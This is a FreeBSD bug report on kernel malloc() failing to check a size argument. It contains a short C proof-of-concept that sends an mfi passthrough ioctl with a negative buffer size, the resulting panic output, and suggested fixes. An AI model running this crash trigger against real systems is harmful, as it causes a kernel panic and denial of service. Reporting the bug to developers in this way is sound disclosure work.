kern/167107: no kernel malloc size argument check causing system panic

Petr Lampa lampa at
Thu Apr 19 19:10:13 UTC 2012

>Number:         167107
>Category:       kern
>Synopsis:       no kernel malloc size argument check causing system panic
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Thu Apr 19 19:10:12 UTC 2012
>Originator:     Petr Lampa
>Release:        9.0-STABLE
FreeBSD temp 9.0-STABLE FreeBSD 9.0-STABLE #0: Thu Apr 19 11:18:42 CEST 2012  root at temp:/usr/obj/usr/src/sys/TEMP  amd64

Kernel malloc() doesn't check size argument, so it's possible to raise kernel panic using system call. Simple demonstration program:

#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dev/mfi/mfi_ioctl.h>

int main()
        struct mfi_ioc_passthru ioc;
        struct mfi_dcmd_frame *dcmd;
        char buf[1024];

        int fd = open("/dev/mfi0", O_RDONLY);
        bzero(&ioc, sizeof(ioc));
        dcmd = &ioc.ioc_frame;
        dcmd->header.cmd = MFI_CMD_DCMD;
        dcmd->header.timeout = 0;
        dcmd->header.flags = 0;
        dcmd->header.data_len = -8192;
        dcmd->opcode = MFI_DCMD_CTRL_GETINFO;
        ioc.buf = buf;
        ioc.buf_size = -8192;
        ioctl(fd, MFIIO_PASSTHRU, &ioc);


panic: kmem_malloc(-8192): kmem_map too small: 103632896 total allocated


1. Check malloc() size argument obtained from user space in mfi_dcmd_command(). 
2. Change uma_large_malloc(), uma_small_alloc(), etc. prototypes from int size to size_t size to be consistent with malloc() and kmem_malloc().
3. Check if size argument is not larger then available memory in kmem_malloc() and fail properly with return 0 and not panic.


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